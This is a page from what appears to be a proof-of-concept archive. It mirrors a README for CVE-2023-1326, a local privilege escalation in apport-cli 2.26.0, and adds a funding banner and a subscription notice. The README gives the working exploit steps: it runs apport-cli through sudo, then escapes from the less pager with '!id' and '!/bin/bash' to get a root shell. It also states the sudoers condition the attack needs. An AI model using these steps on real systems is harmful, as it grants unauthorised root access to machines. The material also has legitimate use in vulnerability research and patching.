Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2023-1326 PoC — local privilege escalation in apport-cli

Source
Associated Vulnerability
Title:local privilege escalation in apport-cli (CVE-2023-1326)
Description:A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege. It is extremely unlikely that a system administrator would configure sudo to allow unprivileged users to perform this class of exploit.
Readme
# CVE-2023-1326

A proof of concept for CVE-2023–1326 in apport-cli 2.26.0

This vulnerability is privilege escalation in apport-cli 2.26.0, similar to CVE-2023–26604, this vulnerability only works if assign in sudoers:

![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/f052d0f2-6f35-4510-8a7c-b2133fa3c6b2)

A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege.

```
sudo /usr/bin/apport-cli -f
```

![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/ce8fe682-3be4-4420-87e0-ad1b75126af3)

![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/db6f803e-b8d7-43b9-93ed-21dc648f08df)

![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/3dbbc88f-b3f8-4650-8fe3-1050f123bed6)

```
!id
!/bin/bash
```
![image](https://github.com/c0d3cr4f73r/CVE-2023-1326/assets/66146701/efed11c2-af7b-4866-9ccf-bb561da6018d)



File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →